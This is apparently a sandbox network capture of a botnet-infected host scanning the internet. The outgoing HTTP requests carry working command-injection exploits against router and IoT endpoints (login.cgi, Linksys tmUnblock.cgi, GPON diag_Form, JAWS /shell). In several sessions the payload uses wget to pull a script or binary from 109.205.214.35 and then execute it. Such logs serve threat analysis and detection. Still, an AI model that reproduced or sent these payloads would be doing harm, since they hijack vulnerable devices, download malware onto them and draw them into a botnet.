Mar 21, 2024 05:22:08.803477049 CET	494	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Thu, 21 Mar 2024 04:22:08 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.14	60958	185.53.147.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.787667036 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:09.028471947 CET	241	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Content-Length: 109 Date: Thu, 21 Mar 2024 04:22:08 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.14	48166	211.172.249.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.875439882 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:09.790363073 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:11.617387056 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:15.235409021 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:22.653871059 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.245277882 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:06.684076071 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.14	57640	110.50.199.156	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.885474920 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:10.277616978 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.14	58332	58.221.30.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.981894016 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.14	37222	38.239.24.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.111246109 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:09.406697035 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:09 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.14	33744	108.159.69.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.183346033 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:10.378730059 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:10.771168947 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:22:10 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 0e45eef568696fc0e17db7c2907052f4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BOM78-P6 X-Amz-Cf-Id: 7vk5GeZq_UiGZjzmUDJA-DJrE5fVHbuPI2_4wvZMeUyMIX9kslSxug== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 37 76 6b 35 47 65 5a 71 5f 55 69 47 5a 6a 7a 6d 55 44 4a 41 2d 44 4a 72 45 35 66 56 48 62 75 50 49 32 5f 34 77 76 5a 4d 65 55 79 4d 49 58 39 6b 73 6c 53 78 75 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 7vk5GeZq_UiGZjzmUDJA-DJrE5fVHbuPI2_4wvZMeUyMIX9kslSxug==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.14	38142	3.128.176.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.776941061 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:10.108041048 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:10.211513996 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:22:10 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.14	44512	128.245.19.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.788506031 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:10.465353012 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:10.591240883 CET	494	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Thu, 21 Mar 2024 04:22:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.14	45428	71.179.234.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.802658081 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:09.913444042 CET	231	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Thu, 21 Mar 2024 04:22:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.14	37304	104.88.199.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:09.812864065 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:09.996824980 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:09 GMT Date: Thu, 21 Mar 2024 04:22:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 31 66 66 33 31 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 32 39 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.11ff3117.1710994929.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
